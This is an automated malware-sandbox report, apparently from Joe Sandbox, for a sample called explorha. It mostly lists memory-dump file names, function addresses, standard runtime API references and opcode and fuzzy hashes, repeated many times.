Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: invalid stoi argument$stoi argument out of range$SN
API String ID: 1418687624-3436069291
Opcode ID: f8c836ae669b6f37b8c644d0b94c42df43a5499562253f36b40ccc0c904422e3
Instruction ID: 9ae1dd5e025870ae7aefc2c05e332260e17f465f5f4820bda324d8fcfc0f460b
Opcode Fuzzy Hash: f8c836ae669b6f37b8c644d0b94c42df43a5499562253f36b40ccc0c904422e3
Instruction Fuzzy Hash: 2C11A332E002059BDF24EB65D841A6EB7B1EF44325F15486BE94977291EB39AC00CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004BE110 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004BE197

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction ID: 9a2a4b328754215d242bd2b18a27877fe8c1ec99f0f1518bf076a0daa04c749c
Opcode Fuzzy Hash: b713bfd49b51041abb555fe8b87117765181b7de4fabe3ba4743ab7c7481a45c
Instruction Fuzzy Hash: ADB115329002559FDB15CF6AC881BEEBBE5EF95300F2441ABE8519B342D63D9D02CB79

Uniqueness

Uniqueness Score: -1.00%

Function 004825B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00482746
___std_exception_destroy.LIBVCRUNTIME ref: 004827E0

Strings

Q"H, xrefs: 004825D8

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: Q"H
API String ID: 2970364248-3884096668
Opcode ID: 4a23d6c6c8f664ebf1addd5c3d3c1966f8f5bbdbff394c50b85f76c2eff68e5b
Instruction ID: f8fa1753e73bf9a0903047467027071ce7fb289b4ba053b6e99201e48b0c4cc3
Opcode Fuzzy Hash: 4a23d6c6c8f664ebf1addd5c3d3c1966f8f5bbdbff394c50b85f76c2eff68e5b
Instruction Fuzzy Hash: 31718F71A002089BDF04DFA9C981BDDFBB4EF59314F14862EE805B7341E778A954CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004831D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00483244
__Mtx_unlock.LIBCPMT ref: 004832DF

Strings

Q"H, xrefs: 004831E4, 00483293

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: Q"H
API String ID: 1418687624-3884096668
Opcode ID: 6da9dc387790decb3a13745d2867b2936eccb4da5355daadd14ae88b4b381bd0
Instruction ID: 8be277997bccef6d523a85ec2de0449450669ee78e55e03248ef846e105de2ba
Opcode Fuzzy Hash: 6da9dc387790decb3a13745d2867b2936eccb4da5355daadd14ae88b4b381bd0
Instruction Fuzzy Hash: 8541E671D00704ABCB20EF5A9901B9FBBE8EF55B25F004A7FE805A3751E778AA0487D5

Uniqueness

Uniqueness Score: -1.00%

Function 004C097F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004C09C3

Strings

`GN, xrefs: 004C0995
8BN, xrefs: 004C0A6B

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8BN$`GN
API String ID: 3903695350-3932700440
Opcode ID: ea99ea15c618cbc40f39f84710eab520257a6c7dce217233dacb31a39e705d6c
Instruction ID: 3b32f8f0326c3f757dab738d5bf36d5a573f4adcdde8e7ba8e8727eb20f0cc3f
Opcode Fuzzy Hash: ea99ea15c618cbc40f39f84710eab520257a6c7dce217233dacb31a39e705d6c
Instruction Fuzzy Hash: E8317175600704DFEB60AE3AD885FA777E4AF50358F10442FE09AD7251DB79ED508B28

Uniqueness

Uniqueness Score: -1.00%

Function 00482800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004828DF

Strings

Q"H, xrefs: 004828C4
Q"H, xrefs: 00482815

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
